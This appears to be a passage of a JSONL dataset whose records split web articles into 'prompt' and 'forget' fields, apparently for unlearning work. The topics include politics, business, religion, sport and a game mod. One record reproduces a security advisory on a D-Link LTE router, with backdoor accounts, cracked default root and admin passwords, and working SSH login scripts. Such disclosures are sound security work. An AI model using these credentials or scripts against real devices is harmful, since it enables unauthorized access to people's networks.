food banks. Was this because Labour wanted to suppress food bank use for propaganda purposes? Perhaps. But I suspect more likely it just reflected the statist mentality. There was suspicion of independent initiative \u2013 even if was charitable rather than profit-making. Quite understandably food banks rely seek evidence of real need before handing over the food parcel. A signed referral from the DWP would be one"}
{"prompt": "On the campaign trail, Donald Trump made much of his $1 trillion infrastructure promises. Today, the specifics remain largely ambiguous and ill-defined, with one exception: the desire to cut away pesky layers of bureaucratic red tape and streamline the permitting process for taxpayer-funded federal infrastructure projects. True \u2014 streamlining byzantine permitting requirements doesn't sound too egregious. Anyone who has waded through the mountain of paperwork often involved with building projects knows that could mean one less hoop to jump through, one less night of lost sleep, one less cent diverted away from the project at hand. Ostensibly, it's not a", "forget": "bad thing. And when it comes to lagging American infrastructure, there are few out there who would argue against fixing or replacing crumbling highways and bridges in a more expeditious manner. In some instances, speedier is a bad thing. But at the core of the current administration's efficiency-focused infrastructure agenda is a rollback of the Federal Flood Risk Management Standard, a revised set of common sense building requirements established by President Barack Obama in a 2015 executive order that are geared to protect those living in flood-prone and low-lying coastal areas. \"It is the policy of the United States to improve the resilience of communities and Federal assets against the impacts of flooding,\" reads the executive order. \"These impacts are anticipated to increase over time due to the effects of climate change and other threats. Losses caused by flooding affect the environment, our economic prosperity, and public health and safety, each of which affects our national security.\" Former President Barack Obama visits flood-ravaged Baton Rouge, Louisiana, in August 2016. (Photo: Nicholas Kamm/AFP/Getty Images) Sometimes slower is better Central to the Federal Flood Risk Management Standard was a focus on safeguarding both the lives and the pocketbooks of those who inevitably end up footing the bill to rebuild after a major natural disaster: taxpayers. Implemented to \"ensure that projects funded with taxpayer dollars last as long as intended,\" the standard required projects to be built safely out of harm's way in accordance to scientific flood risk data or other criteria. This way, public buildings in high-risk flood areas won't need to be repaired or rebuilt altogether using federal funding after suffering damage during major coastal storms and flooding events. Per Reuters, the U.S. incurred $260 billion in flood-related damages between 1980 and 2013. And so, even if the permitting process was"}
{"prompt": "Six years after the developer acquired the 300,000-square-foot property, it is over 95 percent occupied, employs about 700 people and pays about $600,000 in property taxes, although the company is contesting the assessment with the city. In the next few weeks a dialysis center will open on the ground floor. \u201cWe provide almost every service that this hospital used to provide,\u201d said Stephen Kirby, a managing partner at Community Healthcare Associates. \u201cSo there is still a health care presence here.\u201d Image The DaVita Dialysis Center, set to open soon within the Barnert Medical Arts Complex in Paterson, N.J., a new", "forget": "medical mall housed in a former hospital. Credit Jennifer S. Altman for The New York Times These medical malls do offer health care services, but not necessarily the same ones the hospital provided. An urgent care center, for example, is not an emergency room that can admit patients. While a nonprofit hospital is required to serve a community\u2019s health needs, a developer\u2019s primary goal is to fill space with tenants who can pay the rent. So a primary care doctor or a pediatrician might not be as lucrative a tenant as a radiologist. Barnert, for example, does not have a pediatrician on its roster, while it does have an oncologist, a cardiologist and a psychiatrist. \u201cThe mix of services is radically different\u201d at a medical mall, said Alan P. Sager, a professor of health policy and management at Boston University School of Public Health. \u201cThe services added might be more profitable, and if they\u2019re not profitable, they are probably going to close.\u201d Barnert developers did, however, actively seek women\u2019s health care providers, including Planned Parenthood and a breast center, to replace some services lost when the hospital closed. Last summer, Global Life Enterprises purchased the shuttered Mercer Hospital in Trenton, which closed in 2011 to make way for a $540 million state-of-the-art facility in suburban Hopewell. Soon, the 650,000-square-foot campus, which dates back to the 19th century, will re-emerge as a health and wellness center, with plans for a hotel-like lobby, a waterfall, an adult medical day care facility, a spa and possibly a yoga center. The complex already has a few tenants, including a smoking-cessation center, a child advocacy group and doctor\u2019s offices. \u201cI am trying to put in services that would complement each other,\u201d said Priti Pandya-Patel, founder of Global Life Enterprises, who also owns several sleep centers"}
{"prompt": "MUMBAI/DELHI: Ritesh Srivastava speaks with the fervour of a true believer. \u201cI am a lifer here. The work and systems are as professional as any other FMCG company. But the work culture and what the brand stands for in terms of living with a purpose is totally different.\u201dFour years ago, Srivastava joined Yoga guru Baba Ramdev\u2019s Patanjali Ayurved Ltd. as senior manager marketing and sales from Himalaya . He\u2019s not alone in his enthusiasm. In the past six months, as many as 250 executives have joined Patanjali from established fast-moving consumer goods companies. Patanjali itself has in the meantime been", "forget": "winning market share from its rivals as becomes a strong contender in the FMCG stakes.Executives have joined from Hindustan Unilever and Procter & Gamble, apart from domestic companies Himalaya, Bisleri and Emami . The company is deluged with applications, it says.Apart from the controversial Ramdev\u2019s charisma, many are drawn by the prospects for career growth, the chance of taking a business to new heights and the ethos of the company.\u201cOurs is not a corporate culture--it is a spiritual culture and it is purpose-driven,\u201d said managing director Acharya Balkrishna. Ramdev says people are drawn by Patanjali\u2019s objectives of reinvesting in society and nation building.\u201cThere is no company that can be compared to Patanjali,\u201d he said. \u201cProfessionals earlier did not have a place where they could take care of their family needs and at the same time work for a purpose, to give back to society and be proud of what they do.\u201d It isn\u2019t looking for top-bracket, Indian Institute of Management-trained professionals who command crores in pay.\u201cOur compensation packages are in line with industry standards,\u201d said managing director Balkrishna. \u201cWe do not seek great qualifications. During our interviews, we only make sure of two things--that the applicant does not smoke or consume liquor and should be of Satvik nature.\u201dThis has led to questions about its ability to recruit the best talent, especially at the senior level. But that\u2019s exactly what may be a draw for some.Sharad Bharadwaj, who joined Patanjali as western zonal manager in 2015 from P&G, said he was taken by the swadeshi model and the emphasis on treating employees well.\u201cAt least 70% of the talent in MNCs is sidelined,\u201d he said. \u201cAt Patanjali, they do not give up on an individual. If someone is not up to a task, he is trained to do things that he is"}
{"prompt": "Adia: A Week With Clojure And MongoDB Zef Hemel Blocked Unblock Follow Following Dec 30, 2009 I spent last week with my wife and her family in Poland (my wife is Polish). Her parents do not speak English, or any other language than Polish so communication is problematic beyond the thank you, you\u2019re welcome, yes and no thank yous. My wife also spends a lot of time meeting with her friends, so I typically spend quite some time staring at the wall among people who are speaking a language I do not know well enough yet. So, recently I\u2019ve been", "forget": "coming up with little one-week programming projects for the weeks we spend there. These projects do not have to lead to anything in particular, but give me a good amount of time to take a deep dive into something I do not ordinarily have time for. Last week my project was building a web application and framework with Clojure and MongoDB. I already had a plan for a web application in mind before, and already read up on Clojure (through the excellent Programming Clojure book) and played with it a little bit. I have also been interested in non-relational databases for quite some time and before have played with Google AppEngine\u2019s DataStore and CouchDB. Similar to CouchDB, MongoDB is a document-oriented database, but it has more \u201cconventional\u201d querying methods than CouchDB, still not SQL though. For a week on-and-off I went to work. There were basically two components to this project, first getting to know MongoDB and second learning to build a nice internal DSL in a functional language, specifically, a lisp (I never seriously learned a Lisp before, only supervised practical sessions for a class using Scheme). As a case study I came up with a nice not-too-complicated web application to build. I won\u2019t go into that application in this post, it\u2019s still secret (wooh!). Alright. MongoDB is written in C++ and has readily compiled binaries for most platforms available and very easy to install (simply extract and run). It is known for its good performance and used by many companies, including Sourceforge and Disqus (the comment system I use on this website). After starting the server, the easiest way to start interacting with the system is the mongo javascript console. Let me demonstrate it by simply showing you a sequence of commands (prefixed with >) and outputs: >"}
{"prompt": "Saturday, October 18 By Nancy Hylton of Seattle, Washington, USA You are called to create pathways in the world for peace in Christ to be relationally and culturally incarnate. The hope of Zion is realized when the vision of Christ is embodied in communities of generosity, justice, and peacefulness. \u2014Doctrine and Covenants 163:3a It started as a dream to serve families with disabled children closer to their homes near Seattle, Washington. It started with the weekday use of a church nursery room by five families and two physical therapists. It started in August 1979 as a nonprofit neurodevelopmental center to", "forget": "help young children and infants with movement and learning problems. From the start, the center took on a life of its own. Families and staff members built on the strengths others. Soon we needed a larger space. A doctor offered an extra two rooms behind his laboratory. We often used the carpeted hallway for therapy and communication groups as we overflowed the space. Then we moved to a three-story house. We renovated the entry level as our primary therapy space. We used the stairs to teach kids to climb. Soon we outgrew this space, too. With the help from donations, we tripled our space in a former day-care facility. To reduce the stress of travel on families, we started satellite locations. Our service expanded to include water therapy, hippo-therapy, and a fitness center. Our clientele expanded to include preteens and young adults. It is a privilege to be part of this program, from the start\u2014more than 30 years ago. I am convinced God not only struck the spark for our beginning, but God blessed us with the right people and skills. Supportive parents, who continue the work after their children complete the program, continue to bless us. Generous responses from businesses and foundations helped from the start. God\u2019s blessing on this zionic work is clear to me. Starting from a dream, it developed into a vibrant, life-enhancing program. Prayer for Peace Generous God, we thank you for the dreams you plant in our hearts\u2014dreams to serve those in need. We thank you for our dreams and plans to end suffering. Thank you for giving us a spark to fan into light and peace for the world. Spiritual Practice: Abolish Poverty, End Suffering Read and reflect on John 21:15\u201317 as a meditation. Let your mind go to places where people have"}
{"prompt": "Donald Trump. Jonathan Ernst/Reuters In an abrupt reversal Tuesday afternoon, House Republicans dropped a proposal to gut an ethics office overseeing them, after coming under intense criticism from President-elect Donald Trump and others. The reversal came just hours after Trump criticized the House GOP for making the ethics rules change an initial priority of the new Congress. \"With all that Congress has to work on, do they really have to make the weakening of the Independent Ethics Watchdog, as unfair as it may be, their number one act and priority,\" Trump posted in two tweets. \"Focus on tax reform, healthcare", "forget": "and so many other things of far greater importance! #DTS\" Incoming White House press secretary and communications director Sean Spicer later added in a conference call with reporters that Trump's tweets were a \"question of priorities.\" \"He says their focus should be on tax reform and healthcare,\" he said. \"It's not a question of strengthening or weakening \u2014 it's a question of priorities.\" House Republicans had voted Monday night to weaken the Office of Congressional Ethics, a nonpartisan ethics watchdog, in a closed-door meeting. The lawmakers voted to place the office under the oversight of the House Ethics Committee, which gives them more control over the independent body tasked with investigating their behavior. It was a measure that was added to a larger rules package expected to pass on Tuesday. The proposal to gut the ethics office was withdrawn Tuesday afternoon by unanimous consent. The new rules would have eliminated the office's spokesperson, its ability to investigate anonymous tips, its ability to alert law enforcement if has identified a crime, and its authority to publicly release allegations of wrongdoing, a mandate that the formal House Ethics Committee does not have. House Republicans said this was because the public releases had undermined their own due process in investigations. OCE was created in 2008 after a series of House corruption scandals. \"The OCE has a serious and important role in the House, and this amendment does nothing to impede their work,\" said Rep. Bob Goodlatte of Virginia, who sponsored the measure. House Minority Leader Nancy Pelosi, who created the office, expressed dismay with the decision. \"Evidently, ethics are the first casualty of the new Republican Congress,\" the California Democrat said in a statement. House Speaker Paul Ryan and House Majority Leader Kevin McCarthy were reportedly against the measure. \"After eight years of"}
{"prompt": "Time finally ran out for Hostess Brands on Wednesday, as a bankruptcy judge gave preliminary approval for the company to shut down after 82 years in business. A last-ditch attempt to mediate a pay-and-benefits dispute between the company and its Bakery Workers union failed. The decision by Judge Robert Drain sets the stage for the company to start selling its assets -- including its bakeries, brands and recipes. \"Sadly, the parties were not able to come to an agreement,\" said Drain. \"It's a free country. People are free not to agree.\" Hostess, maker of such beloved products as Twinkies, Wonder", "forget": "Bread and Drake's snacks, announced Tuesday night the mediation efforts had failed to produce a deal. About 15,000 of the company's current 18,500 employees will likely be terminated in the coming days. The company said in court it needs about 3,200 employees to stay on for various periods of time to wind down the company. The company's operations have been closed since last Friday. Hostess' CEO and attorneys previously said that reaching a deal to restart the company's network of 33 bakeries and 565 distribution centers would be difficult due to the financial damage done by the strike that started Nov. 9. But Hostess' investment bankers testified that there have been dozens of inquiries about a possible purchase of various brands and even some facilities. Joshua Scherer, of Perella Weinberg, told the court that some of the interested parties had inquired about hiring back some workers. \"It's a once in a lifetime opportunity for [Hostess'] competitors,\" he testified. Related: The day the Twinkies died: What the Web said Hostess CEO Greg Rayburn told reporters after the hearing that the company would move as quickly as possible to sell the brands, although he would give no specific time frame for when the iconic products could be available to consumers once again. \"The longer we're off the shelves, the less value we're going to get,\" he said. He said it's difficult to handicap the chances that Hostess workers could be rehired by those who buy assets. Asked by CNNMoney if the sale would be strictly to the highest bidder or whether the buyer's interest in hiring workers would be a consideration, Rayburn said \"You have to try to do both.\" On Monday, private equity firm Sun Capital Partners told Fortune that it wants to buy Hostess as a going concern. It would"}
{"prompt": "As Ann Cabiness stood in the Communion line at Our Lady of Lourdes Catholic Church on Sunday morning, two things were on her mind: connecting with God and getting out of the humid sanctuary before someone mentioned her skimpy tank top and tight, knee-length running pants. \u201cI know I\u2019m inappropriate, but I\u2019m trying to save time. I know I\u2019m in the wrong. My mother would not approve,\u201d the 30-year-old said sheepishly as she made a beeline from Mass at the Bethesda church to the gym. \u201cBut would it be better that I not come?\u201d Summer in our sweltering region forces", "forget": "a theological question: How does God feel about exposed shoulders in a house of worship? Or toes? Or some glimpse of thigh? With temperatures in the 80s by 7:30 a.m. services, this is the season for church bulletin items like the one in Our Lady\u2019s: \u201cDignity & Decorum: Please try not to wear beach shorts, tank tops, and flip-flops to the Holy Sacrifice of the Mass. Thank you.\u201d In general, casual has pummeled formal everywhere in America, from airplanes to offices. But places of worship \u2014 where debates on modesty are not confined to the summer months \u2014 may be the final frontier for questions about what constitutes overly risque. And those questions have recently sprung to new life. A popular campaign aimed at young evangelical women called \u201cModest is Hottest\u201d has triggered backlash by devout younger women who see the slogan as sexist. When the Bible calls for \u201cmodesty,\u201d they argue, it refers to displays of things like wealth and is describing the depth of one\u2019s spirit, not their neckline.Teaching women that their value rises if they have more clothes on is objectifying, a torrent of essays have argued. \u201cA woman\u2019s breasts and buttocks and thighs all proclaim the glory of the Lord,\u201d said Sharon Hodde Miller, a doctoral student at Trinity Evangelical Divinity School whose critique of \u201cmodest is hottest\u201d in the online evangelical magazine Christianity Today was one of the best-read of recent years. \u201cModesty is an orientation of the heart, first and foremost. It begins with putting God first. To look at an outfit and say if it\u2019s modest or immodest, I\u2019m not sure you can do that.\u201d Some critics say the drive for looser, longer fabric has political tones, a \u201cmodesty nostalgia\u201d for a happier, more fully clothed America that some feel never was. But"}
{"prompt": "MILAN \u2013 Inter president Erick Thohir has set off for London this morning on business connected with the Mahaka Group, his Indonesian company working in media and communication. Before he departed, he released the following interview to Sky Sport. President Thohir, can you tell us about your trip to Paris and the one you're about to take? \"As always, it's good to meet with other presidents. I was in Madrid before to say hi to Florentino Perez and we also met with him in China. We met with Karl-Heinz Rummenigge in China as well. \"Since Nasser Al-Khelaifi invited us, I", "forget": "think it was good to be there because we've played Paris Saint-Germain two times already: last year and this year. And there might be a possibility of playing PSG again in the future. At the same time, for example, I had dinner with the AS Monaco vice president the other evening. \"It's good to speak with other clubs. It's about relations, we didn't discuss players or anything. It's important for big clubs to have good relations. This is also why I keep saying that in Serie A it's important for the clubs to have good relations because otherwise we'll all have different strategies. If we talk together maybe we can all move in the same direction.\" Why did you decide to send the team on the training camp? What are you expecting for Saturday's match? \"The training camp was Roberto Mancini's decision together with the management team. But I think it's good. Maybe it's not so common in other countries. It's good for them to come together for three or four days, to do something together as a team in a calm environment. \"We have to win tomorrow, we have a good team and Roberto Mancini is the best coach for us. We have a competitive squad and we were able to strengthen it in the January transfer window as well. We still have 13 matches to go, the team has to stay calm and fight for our objectives.\" We know about the agreement with Pirelli. Can you explain the plans to make Inter stronger from a financial point of view, also taking into account if you don't make qualification for the Champions League? \"It's a long relationship with Pirelli. The agreement is a positive thing for our relations, we've just extended our partnership for another five years. It will"}
{"prompt": "Tensions between Denmark and Russia were ratcheted up a notch on Saturday. Russia\u2019s ambassador to Denmark, Mikhail Vanin, wrote in an opinion piece published by Jyllands-Posten that Denmark has made itself a target of a potential nuclear attack by joining Nato\u2019s missile defence system \u201cI don\u2019t think the Danes fully understand the consequences of what will happen if Denmark joins the American-controlled missile defence. If it happens, Danish war ships will become targets for Russian atomic missiles,\u201d Vanin wrote. Denmark announced in August that it will will contribute at least one frigate to Nato\u2019s defence system. At the time, Defence", "forget": "Minister Nicolai Wammen said that joining the missile defence system was not a move aimed at Russia. \u201cThat Denmark will join the missile defence system with radar capacity on one or more of our frigates is not an action that is targeted against Russia, but rather to protect us against rogues states, terrorist organisations and others that have the capacity to fire missiles at Europe and the US,\u201d Wammen told Jyllands-Posten in August Vanin\u2019s op-ed made it clear that Russia doesn\u2019t share that interpretation. \u201cDenmark will become a part of the threat against Russia. It will be less peaceful and the relationship with Russia will be harmed. It is of course your decision \u2013 I want to simply remind you that it will cost you both money and security,\u201d Vanin wrote. \u201cAt the same time, Russia has missiles that are guaranteed to break through future global missile defence systems,\u201d he continued. Danish Foreign Minister Martin Lidegaard called Vanin\u2019s statements \u201cunacceptable\u201d. \u201cRussia knows fully well that Nato\u2019s missile defence is not aimed at them. We are in disagreement with Russia on a number of important things but it is important that the tone between us does not escalate,\u201d Lidegaard told Jyllands-Posten. The US ambassador to Denmark, Rufus Gifford, also responded to Vanin's remarks. \"We stand with our staunch Nato ally Denmark in condemning the unacceptable statements made by Russia's Ambassador to Denmark. We have made clear that Nato's ballistic missile defence is not directed at any country, but is meant to defend against missile threats,\" Gifford wrote on Facebook. On Twitter, he added that \"such statements do not inspire confidence or contribute to peace and stability\": US stands w/ DK in condemning statements made by Russia's Amb to DK. Such statements do not inspire confidence or contrib to peace/stability \u2014 Rufus"}
{"prompt": "Got a LOST ALPHA Game problem? Don't post it here or anywhere else on Facebook. Why? The ModDB and FB formats make posts descend to the bottom with each new one and your concerns can easily be lost. Too many pages and posts can make your problems disappear. Where to go? The GSC Forums LOST ALPHA section is designed to post Game problems and to provide answers. In addition the format makes it easy to find previous problems posted where you may not have to ask. $nbsp; For all of you that prefer to download via torrent here is the", "forget": "link: gameupdates.org After downloading, please help to seed that beast ;) All materials are property of GSC Gameworld and dez0wave group. Header image by Jeremiah Humphries. Have you ever dreamt about playing the old, forgotten S.T.A.L.K.E.R. ? We were amazed by GSC's work when they released the first S.T.A.L.K.E.R. screenshots in 2002. The old design, and atmosphere was stunning and we couldn't believe our eyes. Later in 2005 things has changed. They redesigned almost all old levels. Some of them became smaller, simpler (still nice, but different), and some levels were removed. After the release in 2007 we played the game a lot, and quickly noticed that some areas are missing. We opened forums, and talked countless nights about those for almost a year. Nowdays we could say, we have a full vision about GSC's old levels, due to the collected materials, videos and forgotten screenshots. We decided to remake those stunning areas, maybe they won't be the same, but we will try everything to make them look really nice, as we always wanted to see them. In early 2009, GSC released a build from 2004, which contained many old materials. We used some of the sdk objects for the level remakes, but adjusted (and bugfixed) them for our liking, also we didn't throw out our own levels. So expect to see our own Darkscape, Dead City, Rostok Factory and some more in Lost Alpha :) Also need to say, Lost Alpha addon is not just about levels and levels. We will try to make a somewhat, but not fully restricted alife, and deliver a lot of new, never seen features, among with some old ones, which many people wanted to see for long. If you are interested in, check the Features menu for FAQ, Interview, Features List, and many"}
{"prompt": "Five Labour grandees, who previously campaigned for Britain to Leave the EU in the 1975 referendum, have penned an open letter explaining why they\u2019ve changed their position. Former Labour leader Neil Kinnock, Margaret Beckett, Hilary Benn, David Blunkett and Jack Straw have published a letter in support of the EU in the Sunday Mirror. The four who join Kinnock in signing this letter were ministers under previous Labour governments. Benn is currently shadow Foreign Secretary and is expected to play a big role in Labour\u2019s EU strategy. Although all five were once Eurosceptics, now they say \u201cIt\u2019s clear Britain is", "forget": "stronger, safer and better off than we would or could be if pulled out of the EU.\u201d The five explain that their previous Euroscepticism was rooted in concerns that \u201cmembership would mean a one-way loss of sovereignty and investment.\u201d \u201cThis has proved unfounded\u201d, they write. They praise the EU for giving Britain economic partnership with 27 other countries, three million jobs and employment rights. In a move that\u2019s been interpreted as support for David Cameron\u2019s attempt to renegotiate Britain\u2019s relationship with the EU, they write: \u201cThe conclusion of the current renegotiation will hopefully strengthen this relationship as we make the progressive case for Britain in Europe.\u201d The Prime Minister is hoping to strike a deal at next week\u2019s summit of EU leaders in Brussels. If this successful it would clear the way for Cameron to put the renegotiated terms of British membership to the public in a referendum in June. The letter in full: In the 1975 referendum we all campaigned against remaining in what is now the European Union. Now, and for a long time past, it has been clear Britain is stronger, safer and better off than we would or could be if we pulled out. Our concern then was that membership would mean a one-way loss of sovereignty and investment. This has proved unfounded. We are part of an economic partnership with 27 other democracies, exercising full rights to determine agreed rules in the world\u2019s largest single market. That has brought three million jobs, it attracts large investment, promotes growth and provides for employment rights that protect British workers. We also have control of our currency, borders, security, defence, foreign affairs and justice. Britain\u2019s voice on global matters, whether debt relief, peace-keeping or climate change, is amplified by being part of Europe. Intelligence sharing helps us fight"}
{"prompt": "Product Description Dlink is a multinational networking equipment manufacturing corporation. Vulnerabilities Summary The Dlink DWR-932B is a LTE router / access point overall badly designed with a lot of vulnerabilities. It's available in a number of countries to provide Internet with a LTE network. It's a model based on the (in)famous Quanta LTE router models and inherits some vulnerabilities. The tests below are done using the latest available firmware (firmware DWR-932_fw_revB_2_02_eu_en_20150709.zip, model revision B, /Share3/DailyBuild/QDX_DailyBuild/QDT_2031_DLINK/QDT_2031_OS/source/LINUX/apps_proc/oe-core/build/tmp-eglibc/sysroots/x86_64-linux/usr/bin/armv7a-vfp-neon-oe-linux-gnueabi/arm-oe-linux-gnueabi-gcc). The summary of the vulnerabilities is: A personal point of view: at best, the vulnerabilites are due to incompetence; at worst, it is a deliberate", "forget": "act of security sabotage from the vendor. Not all the vulnerabilities found have been disclosed in this advisory. Only the significant ones are shown. This router is still on sale. Due to lack of security patches provided by the vendor, the vulnerabilities will remain unpatched and customers with questions should contact their local/regional D-Link support office for the latest information. Details - Backdoor accounts By default, telnetd and SSHd are running in the router. Telnetd is running even if there is no documentation about it: user@kali:~$ cat ./etc/init.d/start_appmgr [...] #Sandro { for telnetd debug... start-stop-daemon -S -b -a /bin/logmaster #if [ -e /config2/telnetd ]; then start-stop-daemon -S -b -a /sbin/telnetd #fi #Sandro } [...] 2 backdoor accounts exist and can be used to bypass the HTTP authentication used to manage the router. admin@homerouter:~$ grep admin /etc/passwd admin:htEcF9TWn./9Q:168:168:admin:/:/bin/sh admin@homerouter:~$ The password for admin is 'admin' and can be found in the /bin/appmgr program using IDA: About the root user: user@kali:~$ cat ./etc/shadow root:aRDiHrJ0OkehM:16270:0:99999:7::: daemon:*:16270:0:99999:7::: bin:*:16270:0:99999:7::: sys:*:16270:0:99999:7::: sync:*:16270:0:99999:7::: games:*:16270:0:99999:7::: man:*:16270:0:99999:7::: lp:*:16270:0:99999:7::: mail:*:16270:0:99999:7::: news:*:16270:0:99999:7::: uucp:*:16270:0:99999:7::: proxy:*:16270:0:99999:7::: www-data:*:16270:0:99999:7::: backup:*:16270:0:99999:7::: list:*:16270:0:99999:7::: irc:*:16270:0:99999:7::: gnats:*:16270:0:99999:7::: diag:*:16270:0:99999:7::: nobody:*:16270:0:99999:7::: messagebus:!:16270:0:99999:7::: avahi:!:16270:0:99999:7::: admin@kali:~$ Using john to crack the hashes: user@kali:~$ john -show shadow+passwd admin:admin:admin:/:/bin/sh root:1234:16270:0:99999:7::: 2 password hashes cracked, 0 left user@kali:~$ Results: admin has password admin root has password 1234 Working exploit for admin: user@kali:~$ cat quanta-ssh-default-password-admin #!/usr/bin/expect -f set timeout 3 spawn ssh admin@192.168.1.1 expect \"password: $\" send \"admin\\r\" interact user@kali:~$ ./quanta-ssh-default-password-admin spawn ssh admin@192.168.1.1 admin@192.168.1.1's password: admin@homerouter:~$ id uid=168(admin) gid=168(admin) groups=168(admin) admin@homerouter:~$ Alternatively, you can fetch it at https://pierrekim.github.io/advisories/quanta-ssh-default-password-admin. Working exploit for root: user@kali:~$ cat quanta-ssh-default-password-root #!/usr/bin/expect -f set timeout 3 spawn ssh root@192.168.1.1 expect \"password: $\" send \"1234\\r\" interact user@kali:~$ ./quanta-ssh-default-password-root spawn ssh root@192.168.1.1 root@192.168.1.1's password: root@homerouter:~# id uid=168(root) gid=168(root) groups=168(root) root@homerouter:~# Alternatively, you can fetch it at https://pierrekim.github.io/advisories/quanta-ssh-default-password-root. Details - Backdoor A backdoor is present"}
{"prompt": "Despite doomsday warnings from the White House and lawmakers on both sides that hundreds of thousands would lose their jobs as a result of the sequester, it turns out the budget cuts have only led to one job being lost among 23 federal agencies. Now Sen. Tom Coburn, R-Okla., is demanding answers as to why the Obama administration repeatedly warned taxpayers that the $85.3 billion in spending cuts, which went into effect in March 2013, would threaten hundreds of thousands of jobs. The findings were revealed in a government watchdog report. \u201cTaxpayers expect us to root our predictions in fact,", "forget": "not ideology and spin,\u201d Coburn said Wednesday in a letter to Office of Management and Budget Director Sylvia Matthews Burwell. In response, OMB spokesman Steve Posner said in a statement to FoxNews.com there is \"no question\" the sequestration has had an negative impact on Americans, pointing out the report also states that employees had their hours reduced and agencies were forced to curtail hiring as a result of the cuts, among other examples. The March report by the Government Accountability Office describes how 23 agencies and departments -- which appear to span most of the federal government -- complied with the cuts. Only one, the Department of Justice, decided to lay off a single employee in fiscal year 2013. A spokeswoman for the GAO told FoxNews.com the DOJ reported that the laid-off worker was from the the U.S. Parole Commission, but they had no other information about the employee. Virtually every other arm of the government turned to tactics like cutting overtime, reducing employee travel and putting workers on furlough to avoid actual firings. The report is a stark contrast from the dire predictions from the Obama administration and Democratic leadership, who blamed Republicans for the cuts. In a memo released before the sequester cuts went into effect, the White House claimed they \u201cthreaten hundreds of thousands of middle class jobs.\u201d In a speech at the White House that February, President Obama repeated those claims. \"These cuts are not smart, they are not fair, they will hurt our economy, they will add hundreds of thousands of Americans to the unemployment rolls,\" he said. \"This is not an abstraction. People will lose their jobs.\" Senate Majority Leader Harry Reid upped the doomsday rhetoric in July, according to the Washington Post, saying on the Senate floor over a million jobs were already"}
{"prompt": "Religious leaders, including Baltimore Archbishop William E. Lori, have called on President Barack Obama and congressional leaders to reject a recent report by the U.S. Commission on Civil Rights that faith groups are using religious freedom as a pretext for discrimination. \u201cWe call upon each of you to renounce publicly the claim that \u2018religious freedom\u2019 and \u2018religious liberty\u2019 are \u2018code words\u2019 or a \u2018pretext\u2019 for various forms of discrimination,\u201d the leaders say in the Oct. 7 letter, adding: \u201cThere should be no place in our government for such a low view of our First Freedom \u2013 the first of our", "forget": "civil rights \u2013 least of all from a body dedicated to protecting them all.\u201d The letter was addressed to Obama, House Speaker Paul Ryan, and Sen. Orrin Hatch (R-Utah), the president pro tempore of the Senate, who are responsible for appointing members of the civil rights commission. It was signed by 17 people, including religious freedom experts and Catholic, Muslim, Jewish, Hindu, Baha\u2019i, Mormon, African Methodist Episcopal, Southern Baptist and Evangelical leaders. A 306-page report by the U.S. Commission on Civil Rights issued Sept. 8 titled \u201cPeaceful Coexistence: Reconciling Non-Discrimination Principles with Civil Liberties,\u201d included the assertion that religious organizations sometimes \u201cuse the pretext of religious doctrines to discriminate.\u201d The letter\u2019s signatories acknowledge that people of faith \u201ccan disagree about the relationship between religious liberty and anti-discrimination laws in our country, and how that relationship should best be structured. These questions have to do with issues critical to the common good such as marriage, the family, contraception, abortion and the source of human dignity.\u201d But they said that they found it \u201cdisturbing\u201d that in the report, the civil rights commission\u2019s chairman Martin Castro wrote, \u201cThe phrases \u2018religious liberty\u2019 and \u2018religious freedom\u2019 will stand for nothing except hypocrisy so long as they remain code words for discrimination, intolerance, racism, sexism, homophobia, Islamophobia, Christian supremacy or any form of intolerance.\u201d The letter said such language \u201cstigmatizes tens of millions of religious Americans, their communities, and their faith-based institutions, and threatens the religious freedom of all our citizens.\u201d In addition to Lori, the chairman of the Ad Hoc Committee on Religious Liberty of the U.S. Conference of Catholic Bishops, the letter\u2019s signers included Bishop G\u00e9rald J. Causs\u00e9, the presiding bishop of the Church of Jesus Christ of Latter-day Saints; Sheikh Hamza Yusuf Hanson, the president of Zaytuna College in Berkeley, California, the first"}
{"prompt": "While it might not have the name recognition of Rupp Arena or Cameron Indoor Stadium, the Thomas & Mack Center is one of college basketball\u2019s most iconic arenas. It\u2019s played host to the 1990 UNLV men\u2019s national championship team, as well as other spectator events most college hoops\u2019 venues could never dream of, from world class concerts, to championship boxing matches and, yes, the annual rodeo. Yet even by the insane standard that events in Vegas can provide, a recent drive up to Thomas & Mack tells you something else altogether: The arena is preparing for an event the likes", "forget": "of which neither UNLV nor Vegas has ever seen. On a calm afternoon, weeks before the start of basketball season, security is at an all-time high. Every car is funneled through the same entrance, and every driver is politely asked where they\u2019re headed, who they\u2019re there to see and the purpose of their visit. Parking is at a minimum, if available at all. Article continues below ... Clearly, this isn\u2019t your normal protocol on a normal afternoon, and it isn\u2019t until later that you realize this has nothing to do with UNLV hoops or some Rascal Flatts concert tour rolling through town. This isn\u2019t about questioning visitors in an aggressive manor; instead, it's about protecting the future of the country. Literally. While the focus at the Thomas & Mack Center is usually on basketball this time of year, politics are taking center stage. The arena will host the third and final presidential debate on Wednesday night. But while the debate will bring the eyes of the world to Las Vegas, it has brought something else to UNLV basketball, the primary tenant of the Thomas & Mack Center: headaches. Lots and lots of headaches. \u201cThe first thing that came to mind was \u2018that\u2019s pretty cool,\u2019 the national attention that it will bring to the Thomas & Mack and the university\u201d new UNLV head coach Marvin Menzies said. \u201cBut then the second thought was \u2018wow, that\u2019s going to be a logistical nightmare.\u2019\u201d Admittedly, the debate has been a logistical nightmare for just about everyone on UNLV\u2019s campus, and very likely for the entire city of Las Vegas in recent days. However, it\u2019s taken an especially large toll on the UNLV basketball team because its offices are located in the Thomas & Mack and its practice facility is located right next door at"}
{"prompt": "PANAJI: The long line of patients waiting outside the grubby one-room clinic of a 'multispecialty doctor' in Sakhali, who claims to have cures for everything from diabetes to warts and chapped lips, is proof enough of the stranglehold of trust that quacks have on people in parts of the state.The 'homeopath' flaunts boxes of vaccine vials arranged on his desk, unworried about the cold chain storage that the immunizations require, or the fact that he has no business administering allopathic vaccines to his patients.Doctors in the state estimate that around 500 quacks practice allopathic medicine in Goa. \"It's like fighting", "forget": "a losing battle, as these fraudsters are very well-connected,\" laments Dr Ulhas Karpe, member of the Indian Medical Association (IMA).In 2008, Karpe was chairman of the Goa Medical Council 's Disciplinary and Ethics Committee when he launched a campaign to weed out the menace of quackery in the state. \"We formed special committees to identify quacks practicing three different specialties-ophthalmology, pathology and radiology. After months of investigation, a detailed report was submitted, and then all hell broke loose,\" he recalls.Practitioners of the Indian systems of medicine took offense to the report that pulled up a few Ayurveda and Homeopathy practitioners for illegally practicing modern medicine, calling them 'cross-practice' quacks. Karpe was sacked from the post, and the council's report was forwarded to the union health 